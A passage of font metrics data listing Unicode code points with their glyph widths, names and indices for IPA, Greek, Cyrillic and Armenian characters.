U 658 ; WX 564 ; N uni0292 ; G 596
U 659 ; WX 560 ; N uni0293 ; G 597
U 660 ; WX 536 ; N uni0294 ; G 598
U 661 ; WX 536 ; N uni0295 ; G 599
U 662 ; WX 536 ; N uni0296 ; G 600
U 663 ; WX 420 ; N uni0297 ; G 601
U 664 ; WX 820 ; N uni0298 ; G 602
U 665 ; WX 563 ; N uni0299 ; G 603
U 666 ; WX 613 ; N uni029A ; G 604
U 667 ; WX 660 ; N uni029B ; G 605
U 668 ; WX 667 ; N uni029C ; G 606
U 669 ; WX 366 ; N uni029D ; G 607
U 670 ; WX 606 ; N uni029E ; G 608
U 671 ; WX 543 ; N uni029F ; G 609
U 672 ; WX 683 ; N uni02A0 ; G 610
U 673 ; WX 536 ; N uni02A1 ; G 611
U 674 ; WX 536 ; N uni02A2 ; G 612
U 675 ; WX 996 ; N uni02A3 ; G 613
U 676 ; WX 1033 ; N uni02A4 ; G 614
U 677 ; WX 998 ; N uni02A5 ; G 615
U 678 ; WX 823 ; N uni02A6 ; G 616
U 679 ; WX 598 ; N uni02A7 ; G 617
U 680 ; WX 825 ; N uni02A8 ; G 618
U 681 ; WX 894 ; N uni02A9 ; G 619
U 682 ; WX 725 ; N uni02AA ; G 620
U 683 ; WX 676 ; N uni02AB ; G 621
U 684 ; WX 598 ; N uni02AC ; G 622
U 685 ; WX 443 ; N uni02AD ; G 623
U 686 ; WX 781 ; N uni02AE ; G 624
U 687 ; WX 767 ; N uni02AF ; G 625
U 688 ; WX 433 ; N uni02B0 ; G 626
U 689 ; WX 430 ; N uni02B1 ; G 627
U 690 ; WX 264 ; N uni02B2 ; G 628
U 691 ; WX 347 ; N uni02B3 ; G 629
U 692 ; WX 347 ; N uni02B4 ; G 630
U 693 ; WX 430 ; N uni02B5 ; G 631
U 694 ; WX 392 ; N uni02B6 ; G 632
U 695 ; WX 585 ; N uni02B7 ; G 633
U 696 ; WX 423 ; N uni02B8 ; G 634
U 697 ; WX 278 ; N uni02B9 ; G 635
U 698 ; WX 460 ; N uni02BA ; G 636
U 699 ; WX 318 ; N uni02BB ; G 637
U 700 ; WX 318 ; N uni02BC ; G 638
U 701 ; WX 318 ; N uni02BD ; G 639
U 702 ; WX 307 ; N uni02BE ; G 640
U 703 ; WX 307 ; N uni02BF ; G 641
U 704 ; WX 280 ; N uni02C0 ; G 642
U 705 ; WX 281 ; N uni02C1 ; G 643
U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 275 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 275 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 720 ; WX 337 ; N uni02D0 ; G 656
U 721 ; WX 337 ; N uni02D1 ; G 657
U 722 ; WX 307 ; N uni02D2 ; G 658
U 723 ; WX 307 ; N uni02D3 ; G 659
U 726 ; WX 329 ; N uni02D6 ; G 660
U 727 ; WX 329 ; N uni02D7 ; G 661
U 728 ; WX 500 ; N breve ; G 662
U 729 ; WX 500 ; N dotaccent ; G 663
U 730 ; WX 500 ; N ring ; G 664
U 731 ; WX 500 ; N ogonek ; G 665
U 732 ; WX 500 ; N tilde ; G 666
U 733 ; WX 500 ; N hungarumlaut ; G 667
U 734 ; WX 417 ; N uni02DE ; G 668
U 736 ; WX 377 ; N uni02E0 ; G 669
U 737 ; WX 243 ; N uni02E1 ; G 670
U 738 ; WX 337 ; N uni02E2 ; G 671
U 739 ; WX 424 ; N uni02E3 ; G 672
U 740 ; WX 281 ; N uni02E4 ; G 673
U 741 ; WX 493 ; N uni02E5 ; G 674
U 742 ; WX 493 ; N uni02E6 ; G 675
U 743 ; WX 493 ; N uni02E7 ; G 676
U 744 ; WX 493 ; N uni02E8 ; G 677
U 745 ; WX 493 ; N uni02E9 ; G 678
U 748 ; WX 500 ; N uni02EC ; G 679
U 750 ; WX 484 ; N uni02EE ; G 680
U 751 ; WX 500 ; N uni02EF ; G 681
U 752 ; WX 500 ; N uni02F0 ; G 682
U 755 ; WX 500 ; N uni02F3 ; G 683
U 759 ; WX 500 ; N uni02F7 ; G 684
U 768 ; WX 0 ; N gravecomb ; G 685
U 769 ; WX 0 ; N acutecomb ; G 686
U 770 ; WX 0 ; N uni0302 ; G 687
U 771 ; WX 0 ; N tildecomb ; G 688
U 772 ; WX 0 ; N uni0304 ; G 689
U 773 ; WX 0 ; N uni0305 ; G 690
U 774 ; WX 0 ; N uni0306 ; G 691
U 775 ; WX 0 ; N uni0307 ; G 692
U 776 ; WX 0 ; N uni0308 ; G 693
U 777 ; WX 0 ; N hookabovecomb ; G 694
U 778 ; WX 0 ; N uni030A ; G 695
U 779 ; WX 0 ; N uni030B ; G 696
U 780 ; WX 0 ; N uni030C ; G 697
U 781 ; WX 0 ; N uni030D ; G 698
U 782 ; WX 0 ; N uni030E ; G 699
U 783 ; WX 0 ; N uni030F ; G 700
U 784 ; WX 0 ; N uni0310 ; G 701
U 785 ; WX 0 ; N uni0311 ; G 702
U 786 ; WX 0 ; N uni0312 ; G 703
U 787 ; WX 0 ; N uni0313 ; G 704
U 788 ; WX 0 ; N uni0314 ; G 705
U 789 ; WX 0 ; N uni0315 ; G 706
U 790 ; WX 0 ; N uni0316 ; G 707
U 791 ; WX 0 ; N uni0317 ; G 708
U 792 ; WX 0 ; N uni0318 ; G 709
U 793 ; WX 0 ; N uni0319 ; G 710
U 794 ; WX 0 ; N uni031A ; G 711
U 795 ; WX 0 ; N uni031B ; G 712
U 796 ; WX 0 ; N uni031C ; G 713
U 797 ; WX 0 ; N uni031D ; G 714
U 798 ; WX 0 ; N uni031E ; G 715
U 799 ; WX 0 ; N uni031F ; G 716
U 800 ; WX 0 ; N uni0320 ; G 717
U 801 ; WX 0 ; N uni0321 ; G 718
U 802 ; WX 0 ; N uni0322 ; G 719
U 803 ; WX 0 ; N dotbelowcomb ; G 720
U 804 ; WX 0 ; N uni0324 ; G 721
U 805 ; WX 0 ; N uni0325 ; G 722
U 806 ; WX 0 ; N uni0326 ; G 723
U 807 ; WX 0 ; N uni0327 ; G 724
U 808 ; WX 0 ; N uni0328 ; G 725
U 809 ; WX 0 ; N uni0329 ; G 726
U 810 ; WX 0 ; N uni032A ; G 727
U 811 ; WX 0 ; N uni032B ; G 728
U 812 ; WX 0 ; N uni032C ; G 729
U 813 ; WX 0 ; N uni032D ; G 730
U 814 ; WX 0 ; N uni032E ; G 731
U 815 ; WX 0 ; N uni032F ; G 732
U 816 ; WX 0 ; N uni0330 ; G 733
U 817 ; WX 0 ; N uni0331 ; G 734
U 818 ; WX 0 ; N uni0332 ; G 735
U 819 ; WX 0 ; N uni0333 ; G 736
U 820 ; WX 0 ; N uni0334 ; G 737
U 821 ; WX 0 ; N uni0335 ; G 738
U 822 ; WX 0 ; N uni0336 ; G 739
U 823 ; WX 0 ; N uni0337 ; G 740
U 824 ; WX 0 ; N uni0338 ; G 741
U 825 ; WX 0 ; N uni0339 ; G 742
U 826 ; WX 0 ; N uni033A ; G 743
U 827 ; WX 0 ; N uni033B ; G 744
U 828 ; WX 0 ; N uni033C ; G 745
U 829 ; WX 0 ; N uni033D ; G 746
U 830 ; WX 0 ; N uni033E ; G 747
U 831 ; WX 0 ; N uni033F ; G 748
U 835 ; WX 0 ; N uni0343 ; G 749
U 847 ; WX 0 ; N uni034F ; G 750
U 856 ; WX 0 ; N uni0358 ; G 751
U 864 ; WX 0 ; N uni0360 ; G 752
U 865 ; WX 0 ; N uni0361 ; G 753
U 880 ; WX 740 ; N uni0370 ; G 754
U 881 ; WX 531 ; N uni0371 ; G 755
U 882 ; WX 667 ; N uni0372 ; G 756
U 883 ; WX 553 ; N uni0373 ; G 757
U 884 ; WX 278 ; N uni0374 ; G 758
U 885 ; WX 278 ; N uni0375 ; G 759
U 886 ; WX 875 ; N uni0376 ; G 760
U 887 ; WX 667 ; N uni0377 ; G 761
U 890 ; WX 500 ; N uni037A ; G 762
U 891 ; WX 560 ; N uni037B ; G 763
U 892 ; WX 560 ; N uni037C ; G 764
U 893 ; WX 560 ; N uni037D ; G 765
U 894 ; WX 337 ; N uni037E ; G 766
U 895 ; WX 401 ; N uni037F ; G 767
U 900 ; WX 500 ; N tonos ; G 768
U 901 ; WX 500 ; N dieresistonos ; G 769
U 902 ; WX 722 ; N Alphatonos ; G 770
U 903 ; WX 318 ; N anoteleia ; G 771
U 904 ; WX 900 ; N Epsilontonos ; G 772
U 905 ; WX 1039 ; N Etatonos ; G 773
U 906 ; WX 562 ; N Iotatonos ; G 774
U 908 ; WX 835 ; N Omicrontonos ; G 775
U 910 ; WX 897 ; N Upsilontonos ; G 776
U 911 ; WX 853 ; N Omegatonos ; G 777
U 912 ; WX 392 ; N iotadieresistonos ; G 778
U 913 ; WX 722 ; N Alpha ; G 779
U 914 ; WX 735 ; N Beta ; G 780
U 915 ; WX 694 ; N Gamma ; G 781
U 916 ; WX 722 ; N uni0394 ; G 782
U 917 ; WX 730 ; N Epsilon ; G 783
U 918 ; WX 695 ; N Zeta ; G 784
U 919 ; WX 872 ; N Eta ; G 785
U 920 ; WX 820 ; N Theta ; G 786
U 921 ; WX 395 ; N Iota ; G 787
U 922 ; WX 747 ; N Kappa ; G 788
U 923 ; WX 722 ; N Lambda ; G 789
U 924 ; WX 1024 ; N Mu ; G 790
U 925 ; WX 875 ; N Nu ; G 791
U 926 ; WX 704 ; N Xi ; G 792
U 927 ; WX 820 ; N Omicron ; G 793
U 928 ; WX 872 ; N Pi ; G 794
U 929 ; WX 673 ; N Rho ; G 795
U 931 ; WX 707 ; N Sigma ; G 796
U 932 ; WX 667 ; N Tau ; G 797
U 933 ; WX 660 ; N Upsilon ; G 798
U 934 ; WX 820 ; N Phi ; G 799
U 935 ; WX 712 ; N Chi ; G 800
U 936 ; WX 877 ; N Psi ; G 801
U 937 ; WX 829 ; N Omega ; G 802
U 938 ; WX 395 ; N Iotadieresis ; G 803
U 939 ; WX 660 ; N Upsilondieresis ; G 804
U 940 ; WX 675 ; N alphatonos ; G 805
U 941 ; WX 518 ; N epsilontonos ; G 806
U 942 ; WX 599 ; N etatonos ; G 807
U 943 ; WX 392 ; N iotatonos ; G 808
U 944 ; WX 608 ; N upsilondieresistonos ; G 809
U 945 ; WX 675 ; N alpha ; G 810
U 946 ; WX 578 ; N beta ; G 811
U 947 ; WX 598 ; N gamma ; G 812
U 948 ; WX 602 ; N delta ; G 813
U 949 ; WX 518 ; N epsilon ; G 814
U 950 ; WX 542 ; N zeta ; G 815
U 951 ; WX 599 ; N eta ; G 816
U 952 ; WX 602 ; N theta ; G 817
U 953 ; WX 392 ; N iota ; G 818
U 954 ; WX 625 ; N kappa ; G 819
U 955 ; WX 634 ; N lambda ; G 820
U 956 ; WX 650 ; N uni03BC ; G 821
U 957 ; WX 608 ; N nu ; G 822
U 958 ; WX 551 ; N xi ; G 823
U 959 ; WX 602 ; N omicron ; G 824
U 960 ; WX 657 ; N pi ; G 825
U 961 ; WX 588 ; N rho ; G 826
U 962 ; WX 560 ; N sigma1 ; G 827
U 963 ; WX 683 ; N sigma ; G 828
U 964 ; WX 553 ; N tau ; G 829
U 965 ; WX 608 ; N upsilon ; G 830
U 966 ; WX 700 ; N phi ; G 831
U 967 ; WX 606 ; N chi ; G 832
U 968 ; WX 784 ; N psi ; G 833
U 969 ; WX 815 ; N omega ; G 834
U 970 ; WX 392 ; N iotadieresis ; G 835
U 971 ; WX 608 ; N upsilondieresis ; G 836
U 972 ; WX 602 ; N omicrontonos ; G 837
U 973 ; WX 608 ; N upsilontonos ; G 838
U 974 ; WX 815 ; N omegatonos ; G 839
U 975 ; WX 747 ; N uni03CF ; G 840
U 976 ; WX 583 ; N uni03D0 ; G 841
U 977 ; WX 715 ; N theta1 ; G 842
U 978 ; WX 687 ; N Upsilon1 ; G 843
U 979 ; WX 874 ; N uni03D3 ; G 844
U 980 ; WX 687 ; N uni03D4 ; G 845
U 981 ; WX 682 ; N phi1 ; G 846
U 982 ; WX 815 ; N omega1 ; G 847
U 983 ; WX 624 ; N uni03D7 ; G 848
U 984 ; WX 820 ; N uni03D8 ; G 849
U 985 ; WX 602 ; N uni03D9 ; G 850
U 986 ; WX 765 ; N uni03DA ; G 851
U 987 ; WX 560 ; N uni03DB ; G 852
U 988 ; WX 694 ; N uni03DC ; G 853
U 989 ; WX 463 ; N uni03DD ; G 854
U 990 ; WX 590 ; N uni03DE ; G 855
U 991 ; WX 660 ; N uni03DF ; G 856
U 992 ; WX 782 ; N uni03E0 ; G 857
U 993 ; WX 577 ; N uni03E1 ; G 858
U 1008 ; WX 624 ; N uni03F0 ; G 859
U 1009 ; WX 588 ; N uni03F1 ; G 860
U 1010 ; WX 560 ; N uni03F2 ; G 861
U 1011 ; WX 310 ; N uni03F3 ; G 862
U 1012 ; WX 820 ; N uni03F4 ; G 863
U 1013 ; WX 560 ; N uni03F5 ; G 864
U 1014 ; WX 560 ; N uni03F6 ; G 865
U 1015 ; WX 676 ; N uni03F7 ; G 866
U 1016 ; WX 640 ; N uni03F8 ; G 867
U 1017 ; WX 765 ; N uni03F9 ; G 868
U 1018 ; WX 1024 ; N uni03FA ; G 869
U 1019 ; WX 708 ; N uni03FB ; G 870
U 1020 ; WX 588 ; N uni03FC ; G 871
U 1021 ; WX 765 ; N uni03FD ; G 872
U 1022 ; WX 765 ; N uni03FE ; G 873
U 1023 ; WX 765 ; N uni03FF ; G 874
U 1024 ; WX 730 ; N uni0400 ; G 875
U 1025 ; WX 730 ; N uni0401 ; G 876
U 1026 ; WX 799 ; N uni0402 ; G 877
U 1027 ; WX 662 ; N uni0403 ; G 878
U 1028 ; WX 765 ; N uni0404 ; G 879
U 1029 ; WX 685 ; N uni0405 ; G 880
U 1030 ; WX 395 ; N uni0406 ; G 881
U 1031 ; WX 395 ; N uni0407 ; G 882
U 1032 ; WX 401 ; N uni0408 ; G 883
U 1033 ; WX 1084 ; N uni0409 ; G 884
U 1034 ; WX 1118 ; N uni040A ; G 885
U 1035 ; WX 872 ; N uni040B ; G 886
U 1036 ; WX 774 ; N uni040C ; G 887
U 1037 ; WX 872 ; N uni040D ; G 888
U 1038 ; WX 723 ; N uni040E ; G 889
U 1039 ; WX 872 ; N uni040F ; G 890
U 1040 ; WX 757 ; N uni0410 ; G 891
U 1041 ; WX 735 ; N uni0411 ; G 892
U 1042 ; WX 735 ; N uni0412 ; G 893
U 1043 ; WX 662 ; N uni0413 ; G 894
U 1044 ; WX 813 ; N uni0414 ; G 895
U 1045 ; WX 730 ; N uni0415 ; G 896
U 1046 ; WX 1124 ; N uni0416 ; G 897
U 1047 ; WX 623 ; N uni0417 ; G 898
U 1048 ; WX 872 ; N uni0418 ; G 899
U 1049 ; WX 872 ; N uni0419 ; G 900
U 1050 ; WX 774 ; N uni041A ; G 901
U 1051 ; WX 834 ; N uni041B ; G 902
U 1052 ; WX 1024 ; N uni041C ; G 903
U 1053 ; WX 872 ; N uni041D ; G 904
U 1054 ; WX 820 ; N uni041E ; G 905
U 1055 ; WX 872 ; N uni041F ; G 906
U 1056 ; WX 673 ; N uni0420 ; G 907
U 1057 ; WX 765 ; N uni0421 ; G 908
U 1058 ; WX 667 ; N uni0422 ; G 909
U 1059 ; WX 723 ; N uni0423 ; G 910
U 1060 ; WX 830 ; N uni0424 ; G 911
U 1061 ; WX 712 ; N uni0425 ; G 912
U 1062 ; WX 872 ; N uni0426 ; G 913
U 1063 ; WX 773 ; N uni0427 ; G 914
U 1064 ; WX 1141 ; N uni0428 ; G 915
U 1065 ; WX 1141 ; N uni0429 ; G 916
U 1066 ; WX 794 ; N uni042A ; G 917
U 1067 ; WX 984 ; N uni042B ; G 918
U 1068 ; WX 674 ; N uni042C ; G 919
U 1069 ; WX 765 ; N uni042D ; G 920
U 1070 ; WX 1193 ; N uni042E ; G 921
U 1071 ; WX 808 ; N uni042F ; G 922
U 1072 ; WX 596 ; N uni0430 ; G 923
U 1073 ; WX 602 ; N uni0431 ; G 924
U 1074 ; WX 563 ; N uni0432 ; G 925
U 1075 ; WX 524 ; N uni0433 ; G 926
U 1076 ; WX 616 ; N uni0434 ; G 927
U 1077 ; WX 592 ; N uni0435 ; G 928
U 1078 ; WX 920 ; N uni0436 ; G 929
U 1079 ; WX 545 ; N uni0437 ; G 930
U 1080 ; WX 667 ; N uni0438 ; G 931
U 1081 ; WX 667 ; N uni0439 ; G 932
U 1082 ; WX 625 ; N uni043A ; G 933
U 1083 ; WX 635 ; N uni043B ; G 934
U 1084 ; WX 778 ; N uni043C ; G 935
U 1085 ; WX 667 ; N uni043D ; G 936
U 1086 ; WX 602 ; N uni043E ; G 937
U 1087 ; WX 667 ; N uni043F ; G 938
U 1088 ; WX 640 ; N uni0440 ; G 939
U 1089 ; WX 560 ; N uni0441 ; G 940
U 1090 ; WX 553 ; N uni0442 ; G 941
U 1091 ; WX 588 ; N uni0443 ; G 942
U 1092 ; WX 783 ; N uni0444 ; G 943
U 1093 ; WX 564 ; N uni0445 ; G 944
U 1094 ; WX 643 ; N uni0446 ; G 945
U 1095 ; WX 661 ; N uni0447 ; G 946
U 1096 ; WX 930 ; N uni0448 ; G 947
U 1097 ; WX 930 ; N uni0449 ; G 948
U 1098 ; WX 636 ; N uni044A ; G 949
U 1099 ; WX 796 ; N uni044B ; G 950
U 1100 ; WX 544 ; N uni044C ; G 951
U 1101 ; WX 560 ; N uni044D ; G 952
U 1102 ; WX 871 ; N uni044E ; G 953
U 1103 ; WX 631 ; N uni044F ; G 954
U 1104 ; WX 592 ; N uni0450 ; G 955
U 1105 ; WX 592 ; N uni0451 ; G 956
U 1106 ; WX 624 ; N uni0452 ; G 957
U 1107 ; WX 524 ; N uni0453 ; G 958
U 1108 ; WX 560 ; N uni0454 ; G 959
U 1109 ; WX 513 ; N uni0455 ; G 960
U 1110 ; WX 320 ; N uni0456 ; G 961
U 1111 ; WX 320 ; N uni0457 ; G 962
U 1112 ; WX 310 ; N uni0458 ; G 963
U 1113 ; WX 843 ; N uni0459 ; G 964
U 1114 ; WX 860 ; N uni045A ; G 965
U 1115 ; WX 644 ; N uni045B ; G 966
U 1116 ; WX 625 ; N uni045C ; G 967
U 1117 ; WX 667 ; N uni045D ; G 968
U 1118 ; WX 588 ; N uni045E ; G 969
U 1119 ; WX 656 ; N uni045F ; G 970
U 1122 ; WX 762 ; N uni0462 ; G 971
U 1123 ; WX 603 ; N uni0463 ; G 972
U 1124 ; WX 1129 ; N uni0464 ; G 973
U 1125 ; WX 834 ; N uni0465 ; G 974
U 1130 ; WX 1124 ; N uni046A ; G 975
U 1131 ; WX 920 ; N uni046B ; G 976
U 1132 ; WX 1359 ; N uni046C ; G 977
U 1133 ; WX 1113 ; N uni046D ; G 978
U 1136 ; WX 944 ; N uni0470 ; G 979
U 1137 ; WX 902 ; N uni0471 ; G 980
U 1138 ; WX 820 ; N uni0472 ; G 981
U 1139 ; WX 552 ; N uni0473 ; G 982
U 1140 ; WX 859 ; N uni0474 ; G 983
U 1141 ; WX 678 ; N uni0475 ; G 984
U 1142 ; WX 859 ; N uni0476 ; G 985
U 1143 ; WX 678 ; N uni0477 ; G 986
U 1164 ; WX 707 ; N uni048C ; G 987
U 1165 ; WX 544 ; N uni048D ; G 988
U 1168 ; WX 672 ; N uni0490 ; G 989
U 1169 ; WX 529 ; N uni0491 ; G 990
U 1170 ; WX 662 ; N uni0492 ; G 991
U 1171 ; WX 523 ; N uni0493 ; G 992
U 1172 ; WX 728 ; N uni0494 ; G 993
U 1173 ; WX 614 ; N uni0495 ; G 994
U 1174 ; WX 1124 ; N uni0496 ; G 995
U 1175 ; WX 920 ; N uni0497 ; G 996
U 1176 ; WX 636 ; N uni0498 ; G 997
U 1177 ; WX 537 ; N uni0499 ; G 998
U 1178 ; WX 774 ; N uni049A ; G 999
U 1179 ; WX 606 ; N uni049B ; G 1000
U 1182 ; WX 774 ; N uni049E ; G 1001
U 1183 ; WX 625 ; N uni049F ; G 1002
U 1184 ; WX 891 ; N uni04A0 ; G 1003
U 1185 ; WX 717 ; N uni04A1 ; G 1004
U 1186 ; WX 872 ; N uni04A2 ; G 1005
U 1187 ; WX 641 ; N uni04A3 ; G 1006
U 1188 ; WX 1139 ; N uni04A4 ; G 1007
U 1189 ; WX 852 ; N uni04A5 ; G 1008
U 1190 ; WX 1205 ; N uni04A6 ; G 1009
U 1191 ; WX 941 ; N uni04A7 ; G 1010
U 1194 ; WX 765 ; N uni04AA ; G 1011
U 1195 ; WX 560 ; N uni04AB ; G 1012
U 1196 ; WX 667 ; N uni04AC ; G 1013
U 1197 ; WX 553 ; N uni04AD ; G 1014
U 1198 ; WX 660 ; N uni04AE ; G 1015
U 1199 ; WX 565 ; N uni04AF ; G 1016
U 1200 ; WX 660 ; N uni04B0 ; G 1017
U 1201 ; WX 565 ; N uni04B1 ; G 1018
U 1202 ; WX 712 ; N uni04B2 ; G 1019
U 1203 ; WX 564 ; N uni04B3 ; G 1020
U 1204 ; WX 952 ; N uni04B4 ; G 1021
U 1205 ; WX 732 ; N uni04B5 ; G 1022
U 1206 ; WX 749 ; N uni04B6 ; G 1023
U 1207 ; WX 690 ; N uni04B7 ; G 1024
U 1210 ; WX 749 ; N uni04BA ; G 1025
U 1211 ; WX 644 ; N uni04BB ; G 1026
U 1216 ; WX 395 ; N uni04C0 ; G 1027
U 1217 ; WX 1124 ; N uni04C1 ; G 1028
U 1218 ; WX 920 ; N uni04C2 ; G 1029
U 1219 ; WX 747 ; N uni04C3 ; G 1030
U 1220 ; WX 606 ; N uni04C4 ; G 1031
U 1223 ; WX 872 ; N uni04C7 ; G 1032
U 1224 ; WX 667 ; N uni04C8 ; G 1033
U 1227 ; WX 749 ; N uni04CB ; G 1034
U 1228 ; WX 667 ; N uni04CC ; G 1035
U 1231 ; WX 320 ; N uni04CF ; G 1036
U 1232 ; WX 757 ; N uni04D0 ; G 1037
U 1233 ; WX 596 ; N uni04D1 ; G 1038
U 1234 ; WX 757 ; N uni04D2 ; G 1039
U 1235 ; WX 596 ; N uni04D3 ; G 1040
U 1236 ; WX 1001 ; N uni04D4 ; G 1041
U 1237 ; WX 940 ; N uni04D5 ; G 1042
U 1238 ; WX 730 ; N uni04D6 ; G 1043
U 1239 ; WX 592 ; N uni04D7 ; G 1044
U 1240 ; WX 820 ; N uni04D8 ; G 1045
U 1241 ; WX 592 ; N uni04D9 ; G 1046
U 1242 ; WX 820 ; N uni04DA ; G 1047
U 1243 ; WX 592 ; N uni04DB ; G 1048
U 1244 ; WX 1124 ; N uni04DC ; G 1049
U 1245 ; WX 920 ; N uni04DD ; G 1050
U 1246 ; WX 623 ; N uni04DE ; G 1051
U 1247 ; WX 545 ; N uni04DF ; G 1052
U 1248 ; WX 564 ; N uni04E0 ; G 1053
U 1249 ; WX 564 ; N uni04E1 ; G 1054
U 1250 ; WX 872 ; N uni04E2 ; G 1055
U 1251 ; WX 667 ; N uni04E3 ; G 1056
U 1252 ; WX 872 ; N uni04E4 ; G 1057
U 1253 ; WX 667 ; N uni04E5 ; G 1058
U 1254 ; WX 820 ; N uni04E6 ; G 1059
U 1255 ; WX 602 ; N uni04E7 ; G 1060
U 1256 ; WX 820 ; N uni04E8 ; G 1061
U 1257 ; WX 602 ; N uni04E9 ; G 1062
U 1258 ; WX 820 ; N uni04EA ; G 1063
U 1259 ; WX 602 ; N uni04EB ; G 1064
U 1260 ; WX 765 ; N uni04EC ; G 1065
U 1261 ; WX 560 ; N uni04ED ; G 1066
U 1262 ; WX 723 ; N uni04EE ; G 1067
U 1263 ; WX 588 ; N uni04EF ; G 1068
U 1264 ; WX 723 ; N uni04F0 ; G 1069
U 1265 ; WX 588 ; N uni04F1 ; G 1070
U 1266 ; WX 723 ; N uni04F2 ; G 1071
U 1267 ; WX 588 ; N uni04F3 ; G 1072
U 1268 ; WX 773 ; N uni04F4 ; G 1073
U 1269 ; WX 661 ; N uni04F5 ; G 1074
U 1270 ; WX 662 ; N uni04F6 ; G 1075
U 1271 ; WX 524 ; N uni04F7 ; G 1076
U 1272 ; WX 984 ; N uni04F8 ; G 1077
U 1273 ; WX 796 ; N uni04F9 ; G 1078
U 1296 ; WX 623 ; N uni0510 ; G 1079
U 1297 ; WX 545 ; N uni0511 ; G 1080
U 1298 ; WX 834 ; N uni0512 ; G 1081
U 1299 ; WX 635 ; N uni0513 ; G 1082
U 1300 ; WX 1198 ; N uni0514 ; G 1083
U 1301 ; WX 919 ; N uni0515 ; G 1084
U 1306 ; WX 820 ; N uni051A ; G 1085
U 1307 ; WX 640 ; N uni051B ; G 1086
U 1308 ; WX 1028 ; N uni051C ; G 1087
U 1309 ; WX 856 ; N uni051D ; G 1088
U 1329 ; WX 810 ; N uni0531 ; G 1089
U 1330 ; WX 811 ; N uni0532 ; G 1090
U 1331 ; WX 826 ; N uni0533 ; G 1091
U 1332 ; WX 847 ; N uni0534 ; G 1092
U 1333 ; WX 806 ; N uni0535 ; G 1093
U 1334 ; WX 826 ; N uni0536 ; G 1094
U 1335 ; WX 761 ; N uni0537 ; G 1095
U 1336 ; WX 811 ; N uni0538 ; G 1096
U 1337 ; WX 968 ; N uni0539 ; G 1097
U 1338 ; WX 816 ; N uni053A ; G 1098
U 1339 ; WX 772 ; N uni053B ; G 1099
U 1340 ; WX 682 ; N uni053C ; G 1100
U 1341 ; WX 1097 ; N uni053D ; G 1101
U 1342 ; WX 845 ; N uni053E ; G 1102
U 1343 ; WX 804 ; N uni053F ; G 1103
U 1344 ; WX 719 ; N uni0540 ; G 1104
U 1345 ; WX 810 ; N uni0541 ; G 1105
U 1346 ; WX 833 ; N uni0542 ; G 1106
U 1347 ; WX 843 ; N uni0543 ; G 1107
U 1348 ; WX 897 ; N uni0544 ; G 1108
U 1349 ; WX 763 ; N uni0545 ; G 1109
U 1350 ; WX 794 ; N uni0546 ; G 1110
U 1351 ; WX 754 ; N uni0547 ; G 1111
U 1352 ; WX 799 ; N uni0548 ; G 1112
U 1353 ; WX 797 ; N uni0549 ; G 1113
U 1354 ; WX 875 ; N uni054A ; G 1114
U 1355 ; WX 830 ; N uni054B ; G 1115
U 1356 ; WX 884 ; N uni054C ; G 1116
U 1357 ; WX 799 ; N uni054D ; G 1117
U 1358 ; WX 802 ; N uni054E ; G 1118
U 1359 ; WX 731 ; N uni054F ; G 1119
U 1360 ; WX 774 ; N uni0550 ; G 1120
U 1361 ; WX 749 ; N uni0551 ; G 1121
U 1362 ; WX 633 ; N uni0552 ; G 1122
U 1363 ; WX 845 ; N uni0553 ; G 1123
U 1364 ; WX 843 ; N uni0554 ; G 1124
U 1365 ; WX 835 ; N uni0555 ; G 1125
U 1366 ; WX 821 ; N uni0556 ; G 1126
U 1369 ; WX 307 ; N uni0559 ; G 1127
U 1370 ; WX 264 ; N uni055A ; G 1128
U 1371 ; WX 229 ; N uni055B ; G 1129
U 1372 ; WX 391 ; N uni055C ; G 1130
U 1373 ; WX 364 ; N uni055D ; G 1131
U 1374 ; WX 386 ; N uni055E ; G 1132
U 1375 ; WX 500 ; N uni055F ; G 1133
U 1377 ; WX 949 ; N uni0561 ; G 1134
U 1378 ; WX 618 ; N uni0562 ; G 1135
U 1379 ; WX 695 ; N uni0563 ; G 1136
U 1380 ; WX 695 ; N uni0564 ; G 1137
U 1381 ; WX 628 ; N uni0565 ; G 1138
U 1382 ; WX 688 ; N uni0566 ; G 1139
U 1383 ; WX 510 ; N uni0567 ; G 1140
U 1384 ; WX 636 ; N uni0568 ; G 1141
U 1385 ; WX 791 ; N uni0569 ; G 1142
U 1386 ; WX 671 ; N uni056A ; G 1143
U 1387 ; WX 635 ; N uni056B ; G 1144
U 1388 ; WX 305 ; N uni056C ; G 1145
U 1389 ; WX 973 ; N uni056D ; G 1146
U 1390 ; WX 614 ; N uni056E ; G 1147
U 1391 ; WX 628 ; N uni056F ; G 1148
U 1392 ; WX 636 ; N uni0570 ; G 1149
U 1393 ; WX 630 ; N uni0571 ; G 1150
U 1394 ; WX 636 ; N uni0572 ; G 1151
U 1395 ; WX 654 ; N uni0573 ; G 1152
U 1396 ; WX 644 ; N uni0574 ; G 1153
U 1397 ; WX 309 ; N uni0575 ; G 1154
U 1398 ; WX 636 ; N uni0576 ; G 1155
U 1399 ; WX 461 ; N uni0577 ; G 1156
U 1400 ; WX 649 ; N uni0578 ; G 1157
U 1401 ; WX 365 ; N uni0579 ; G 1158
U 1402 ; WX 940 ; N uni057A ; G 1159
U 1403 ; WX 562 ; N uni057B ; G 1160
U 1404 ; WX 657 ; N uni057C ; G 1161
U 1405 ; WX 644 ; N uni057D ; G 1162
U 1406 ; WX 630 ; N uni057E ; G 1163
U 1407 ; WX 930 ; N uni057F ; G 1164
U 1408 ; WX 644 ; N uni0580 ; G 1165
U 1409 ; WX 643 ; N uni0581 ; G 1166
U 1410 ; WX 483 ; N uni0582 ; G 1167
U 1411 ; WX 930 ; N uni0583 ; G 1168
U 1412 ; WX 636 ; N uni0584 ; G 1169
U 1413 ; WX 609 ; N uni0585 ; G 1170
U 1414 ; WX 809 ; N uni0586 ; G 1171
U 1415 ; WX 789 ; N uni0587 ; G 1172
U 1417 ; WX 340 ; N uni0589 ; G 1173
U 1418 ; WX 334 ; N uni058A ; G 1174
U 3647 ; WX 636 ; N uni0E3F ; G 1175
U 4256 ; WX 723 ; N uni10A0 ; G 1176
U 4257 ; WX 850 ; N uni10A1 ; G 1177
